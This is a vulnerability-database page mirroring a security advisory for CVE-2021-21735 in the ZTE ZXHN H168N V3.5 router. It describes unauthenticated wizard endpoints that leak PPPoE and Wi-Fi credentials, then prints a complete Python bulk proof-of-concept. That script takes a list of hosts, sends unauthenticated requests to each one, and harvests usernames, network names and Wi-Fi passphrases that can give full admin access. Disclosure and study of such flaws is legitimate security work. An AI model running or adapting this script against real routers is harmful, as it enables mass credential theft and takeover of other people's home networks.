Lucene search
K

📄 ZTE ZXHN H168N 3.5 Credential Disclosure

🗓️ 26 May 2026 00:00:00Reported by Mina Nageh SalalmaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 31 Views

ZTE ZXHN H168N V3.5 exposes unauth GetPassword leaking PPPoE and WLAN credentials.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-21735
25 May 202619:10
circl
CNNVD
ZTE ZXHN H168N 信息泄露漏洞
10 Jun 202100:00
cnnvd
CVE
CVE-2021-21735
10 Jun 202111:18
cve
Cvelist
CVE-2021-21735
10 Jun 202111:18
cvelist
EUVD
EUVD-2021-8907
3 Oct 202520:07
euvd
NVD
CVE-2021-21735
10 Jun 202112:15
nvd
Packet Storm
📄 ZTE ZXHN H168N 3.6 Credential Leak / Admin Compromise
20 May 202600:00
packetstorm
Prion
Design/Logic Flaw
10 Jun 202112:15
prion
Positive Technologies
PT-2021-14746
10 Jun 202100:00
ptsecurity
RedhatCVE
CVE-2021-21735
22 May 202518:19
redhatcve
Rows per page
-----BEGIN SECURITY ADVISORY-----
    
    Advisory ID:    MONX-2021-001
    CVE ID:         CVE-2021-21735
    Title:          ZTE ZXHN H168N V3.5 - Unauthenticated Wizard Credential
    Disclosure to Full Admin Compromise
    Affected:       ZTE ZXHN H168N V3.5
    Date:           2026-05-20
    Author:         Mina Nageh Salalma (Monx Research)
    Contact:        [email protected]
    Public URL:
    https://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise
    MITRE:          https://www.cve.org/CVERecord?id=CVE-2021-21735
    
    
    VULNERABILITY DESCRIPTION
    --------------------------
    The ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that
    return PPPoE credentials (ADUsername, VDUsername) and the WLAN KeyPassphrase
    via the GetPassword action without requiring authentication. The firmware
    routing allowlists these endpoints through a QuickSetupEnable branch.
    
    In ISP-deployed configurations where the Wi-Fi password is reused as the
    default admin password, this credential disclosure is a full admin
    compromise
    chain requiring a single unauthenticated HTTP request.
    
    A bulk PoC script (zte_zxhn_h168n_bulk_poc.py) is included in the repository
    for verifying scale of exposure. (packet storm attached at bottom)
    
    CREDITS
    -------
    Mina Nageh Salalma (Monx Research)
    https://github.com/minanagehsalalma
    
    -----END SECURITY ADVISORY-----
    
    
    
    --- packet storm attached poc ---
    import argparse
    import asyncio
    import html
    import re
    from pathlib import Path
    
    import aiohttp
    from colorama import Fore, Style, init
    
    
    DEFAULT_INPUT_PATH = Path("urls.txt")
    PASSWORD_FORM = {
        "IF_ACTION": "GetPassword",
        "_InstID_PASS": "DEV.WIFI.AP1.PSK1",
        "PASSTYPE": "PSK",
    }
    TABLE_TEMPLATE = "{:<3} | {:<34} | {:<30} | {:<30} | {:<30} | {:<25}"
    HEADERS = ["#", "URL", "AD Username", "VD Username", "ESSID", "Wi-Fi Password"]
    AD_USERNAME_PATTERN = r"<ADUsername>(.*?)</ADUsername>"
    VD_USERNAME_PATTERN = r"<VDUsername>(.*?)</VDUsername>"
    ESSID_PATTERN = r"<ParaName>\s*ESSID\s*</ParaName>\s*<ParaValue>\s*(.*?)\s*</ParaValue>"
    PASSWORD_PATTERN = r"<ParaName>KeyPassphrase</ParaName>\s*<ParaValue>(.*?)</ParaValue>"
    
    init()
    
    
    def parse_args() -> argparse.Namespace:
        parser = argparse.ArgumentParser(
            description="Bulk PoC for CVE-2021-21735 against ZTE ZXHN H168N wizard endpoints."
        )
        parser.add_argument(
            "-i",
            "--input",
            type=Path,
            default=DEFAULT_INPUT_PATH,
            help="Path to a newline-delimited host list.",
        )
        parser.add_argument(
            "--timeout",
            type=int,
            default=10,
            help="Per-host request timeout in seconds.",
        )
        return parser.parse_args()
    
    
    def extract(pattern: str, text: str, default: str = "") -> str:
        match = re.search(pattern, text, re.DOTALL)
        if not match:
            return default
        return html.unescape(match.group(1).strip())
    
    
    def load_hosts(input_path: Path) -> list[str]:
        return [line.strip() for line in input_path.read_text(encoding="utf-8").splitlines() if line.strip()]
    
    
    async def fetch_text(session: aiohttp.ClientSession, method: str, url: str, **kwargs) -> str:
        async with session.request(method, url, **kwargs) as response:
            response.raise_for_status()
            return await response.text()
    
    
    async def extract_router_secrets(session: aiohttp.ClientSession, host: str) -> dict[str, str]:
        base_url = f"http://{host}/wizard_page"
    
        try:
            pppoe_xml = await fetch_text(session, "GET", f"{base_url}/wizard_pppoe_lua.lua")
            wlan_xml = await fetch_text(session, "GET", f"{base_url}/wizard_wlan_config_lua.lua")
            password_xml = await fetch_text(
                session,
                "POST",
                f"{base_url}/wizard_wlan_config_lua.lua",
                data=PASSWORD_FORM,
            )
        except Exception:
            return {
                "URL": host,
                "AD Username": "",
                "VD Username": "",
                "ESSID": "",
                "Wi-Fi Password": "",
            }
    
        return {
            "URL": host,
            "AD Username": extract(AD_USERNAME_PATTERN, pppoe_xml),
            "VD Username": extract(VD_USERNAME_PATTERN, pppoe_xml),
            "ESSID": extract(ESSID_PATTERN, wlan_xml),
            "Wi-Fi Password": extract(PASSWORD_PATTERN, password_xml)[:64],
        }
    
    
    def print_header() -> None:
        header = TABLE_TEMPLATE.format(
            "#",
            Fore.RED + HEADERS[1],
            Fore.GREEN + HEADERS[2],
            Fore.YELLOW + HEADERS[3],
            Fore.BLUE + HEADERS[4],
            Fore.MAGENTA + HEADERS[5] + Style.RESET_ALL,
        )
        separator = Fore.CYAN + "-" * len(header) + Style.RESET_ALL
        print(separator)
        print(header + "|")
        print(separator)
    
    
    def print_row(index: int, row: dict[str, str]) -> None:
        rendered = TABLE_TEMPLATE.format(
            str(index),
            Fore.RED + row["URL"],
            Fore.GREEN + row["AD Username"],
            Fore.YELLOW + row["VD Username"],
            Fore.BLUE + row["ESSID"],
            Fore.MAGENTA + row["Wi-Fi Password"] + Style.RESET_ALL,
        )
        separator = Fore.CYAN + "-" * len(rendered) + Style.RESET_ALL
        print(rendered + "|")
        print(separator)
    
    
    async def run_bulk_poc(input_path: Path, timeout_seconds: int) -> None:
        hosts = load_hosts(input_path)
        seen: set[tuple[str, str, str, str, str]] = set()
        results: list[dict[str, str]] = []
    
        print_header()
    
        timeout = aiohttp.ClientTimeout(total=timeout_seconds)
        async with aiohttp.ClientSession(timeout=timeout) as session:
            tasks = [asyncio.create_task(extract_router_secrets(session, host)) for host in hosts]
    
            for task in asyncio.as_completed(tasks):
                try:
                    row = await task
                except Exception as error:
                    print(f"{Fore.RED}Error: {error}{Style.RESET_ALL}")
                    continue
    
                identity = (
                    row["URL"],
                    row["AD Username"],
                    row["VD Username"],
                    row["ESSID"],
                    row["Wi-Fi Password"],
                )
                if identity in seen:
                    continue
    
                seen.add(identity)
                results.append(row)
                print_row(len(results), row)
    
    
    def main() -> None:
        args = parse_args()
        asyncio.run(run_bulk_poc(args.input, args.timeout))
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 May 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 24
CVSS 3.16.5
EPSS0.00171
31